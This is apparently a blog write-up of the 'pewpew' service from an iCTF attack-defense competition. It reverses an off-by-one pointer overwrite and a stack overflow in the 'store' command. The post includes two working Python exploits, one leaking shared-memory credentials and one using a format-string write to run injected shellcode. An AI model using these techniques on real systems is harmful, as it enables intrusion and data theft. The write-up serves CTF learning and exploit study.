FR EN

Pewpew service

<< Nuclearboom service

Having only been there for an hour and a half, I didn't have much time for the pewpew service after nuclearboom. However, it felt way harder than what I would normally expect from an iCTF service, and that's why I came back on it today. The pewpew service is an x86 ELF, stripped, statically linked and likely compiled with -O2 and stackexec. The application manages users that can report daily measures. It uses a single shared memory space, protected by a mutex, to store and retrieve data among the different connections.

Pretty much everything happens in the new connection handler at 0x080499f0, which first performs a fread() of 0xfff characters and then performs several inlined strncmp against menu options: login, register, store, review, report, purge. All these actions are performed on the same struct of 0x2448 bytes. The error messages help to come up with its fields:

struct user_struct {
	char login[2048];
	char password[2048];
	char report_value[3724];
	unsigned short int nb_reports;
	unsigned short int unused;
	int reports[365];
	char ** reports;
}

The function mainly works on a local struct at esp + 0x1854. When a user logs in, the first struct with a matching login/password is copied to the local one, and changes are applied back with the "store" command. The "report" command allows a user to add a new value to reports[++nb_reports], and the review discloses a specific reports value or all values. The purge command is designed to erase the struct associated to the user from the shared memory space.

Off-by-one in the report command

The first thing I noticed is an off-by-one in the report part, allowing a user to enter 366 reports, and thus to overwrite the char ** reports pointer:

cmp [esp+2EE0h], 16Dh
ja user_memory_limit

This pointer is not used often: set and used during the register process to copy the format string at 0x080C71EE into the report_value field, and used within the review subfunction at 0x080498b0 to display the format string:

mov eax, [edi+2444h] ; eax = controlled pointer
cmovbe ebp, ecx
movzx ebp, bp
mov edx, [edi+ebp*4+1E90h]
mov [esp+3Ch+arg_0], ebx ; FILE *
mov [esp+3Ch+arg_4], eax ; fprintf main param
mov [esp+3Ch+arg_C], edx
movzx edx, al
add ebp, edx
mov [esp+3Ch+arg_8], ebp
add esp, 2Ch
pop ebx
pop esi
pop edi
pop ebp
jmp fprintf

Ok, so we control an arbitrary pointer used in an fprintf: we can disclose anything. I'm not sure about this, but as flags usually come from a legitimate use of the service, I guess they were either within the login, password or report_value fields. From there the exploit is pretty straightforward:

#!/usr/bin/python

import socket
import struct

HOST = "localhost"
PORT = 14389

def recv_until(sock, pattern):
	txt = ""
	while pattern not in txt:
		c = sock.recv(1)
		if len(c) == 0:
			return txt
		txt += c
	return txt

s = socket.socket()
s.connect((HOST, PORT))

recv_until(s, "~> ")

def le_int(b):
	b += '\x00'*4
	return struct.unpack("<I", b[0:4])[0]

def disclose_address(s, to_disclose):
	s.sendall("register blablabla\n")
	recv_until(s, "~> ")
	s.sendall("store blablabla\n")
	recv_until(s, "~> ")

	for i in range(0, 365):
		s.sendall("report %d\n"%(1337))
		recv_until(s, "~> ")
	s.sendall("report %u\n"%(to_disclose))
	recv_until(s, "~> ")

	s.sendall("review 0\n")
	ret = recv_until(s, "~> ")[:-3]
	s.sendall("purge\n")
	recv_until(s, "~> ")

	return ret

# Get shared memory address
shma = le_int(disclose_address(s, 0x080f3e2c))
# Get all users
nb_users = le_int(disclose_address(s, shma - 4))

# Disclose shared memory
for i in range(0, nb_users):
	login = disclose_address(s, shma + i*0x2448)
	password = disclose_address(s, shma + i*0x2448 + 0x800)
	data = disclose_address(s, shma + i*0x2448 + 0x1000)
	print login, password, data

This does indeed work but is pretty damn slow, so I guess there is another, better way of exploiting this:

$ time ./pewpew_obo.py 
user testflag ACC=16763400: 4 1337
blablabla blablabla ACC=16763400: 76 1337

real	0m11.294s
Stack overflow in the store command

Anyway, the second vuln proved to be more interesting and efficient to exploit. The store command is reponsible for copying the local struct into shared memory, as well as setting the user's password if none was yet provided.

mov [esp], eax
call do_strlen
cmp eax, 6
mov edx, eax
jbe input_too_short
cmp [esp+1854h], 0
jz loc_804A43C

lea edx, [esp+1854h]
mov [esp], edx
mov [esp+8], eax
mov dword ptr [esp+4], ebx
call memcpy
mov [esp], ebx
call strlen
mov edx, eax
jmp loc_804A1F2

cmp edx, 7FFh
ja boundary_limit_exc

This is the beginning of the store part, and we can see that the actual input length is checked after being stored into esp+1854h - the password field of the local struct. As the initial read is 0xfff bytes long, we have an overflow of roughly 0x800 characters: enough to overflow most of the report_value field. This field normally contains the format string displayed in the review sub function. Then again, the format string can be used to disclose the shared memory fields, but I wrote a classic exploit for this one, as I don't know where were the flags.

When the review_sub function jumps to fprintf, we are back on top of the connection handler stack. The stack is 0x34ac high and 3 registers are saved before ebp, so the saved base pointer - of main() - is at the word (0x34AC + 3*4 - 4)/4 = 3373. As the stack is executable, we just have to place a shellcode within the password field of the on-stack struct and then overwrite the return adress with a simple format string. All of these addresses are static with respect to main()'s ebp, so there is not much else to do:

#!/usr/bin/python

import socket
import re
import struct

HOST = "localhost"
PORT = 14389

def recv_until(sock, pattern):
	txt = ""
		while pattern not in txt:
		c = sock.recv(1)
		if len(c) == 0:
			break
		txt += c
		return txt

s = socket.socket()
s.connect((HOST, PORT))

recv_until(s, "~> ")
s.sendall("register blablabla\n")
recv_until(s, "~> ")

# handle_child's ebp at token 3373
s.sendall("store " + "A"*2048 + "DEAD%3373$xBEEF\n")
recv_until(s, "~> ")

s.sendall("report %d\n"%(1337))
recv_until(s, "~> ")

s.sendall("review 0\n")
ebp = int(re.search("DEAD(.*)BEEF", recv_until(s, "~> ")).group(1), 16)
s.sendall("purge\n")
s.close()

s = socket.socket()
s.connect((HOST, PORT))

recv_until(s, "~> ")
s.sendall("register blablabla\n")
recv_until(s, "~> ")

return_address = ebp - 0x351C
buffer_start = ebp - 0x34be

#stack is exec => just redirect return address to shellcode
addresses = "".join([struct.pack("<I", return_address + i) for i in range(0,4)])
dup_4 = "\x31\xc0\x31\xdb\x31\xc9\x80\xc1\x03\x80\xc3\x04\xfe\xc9\xb0\x3f\xcd\x80\xfe\xc1\xe2\xf6"
shellcode = dup_4 + [exec shellcode]
shellcode_address = buffer_start + len(addresses) + 10

last_byte = 0
fmt= ""
# First usable token at offset 10 (token 24)
for token in range(24,28):
	fmt += "%%%d$%dx%%%d$n"%(token, 0x100 - last_byte + (shellcode_address & 0xff) , token)
	last_byte = shellcode_address & 0xff
	shellcode_address >>= 8
s.sendall("store " + "B"*10 + addresses + shellcode + "A"*(2048 - 10 - len(addresses) - len(shellcode)) + fmt + "\n")
recv_until(s, "~> ")
s.sendall("report %d\n"%(1337))
recv_until(s, "~> ")

s.sendall("review 0\n")
print recv_until(s, "~> ")

The only restriction on the shellcode is that it must not contain \x00 or \x20 to work properly with the strlen and strtok functions. Testing with a simple ls shellcode:

$ ./pewpew.py 
pewpew
pewpew.idb
run.sh
$ 

I heard there was a simple solution that I obviously missed. Still, this was a pretty hard service imho, as optimized, stripped and statically linked code is tough to reverse - even more for an attack-defense CTF where you have many things to do. At the same time, I'm glad to see both easily exploitable services such as nuclearboom and harder ones such as pewpew in an academic CTF.

<< Nuclearboom service

Votre message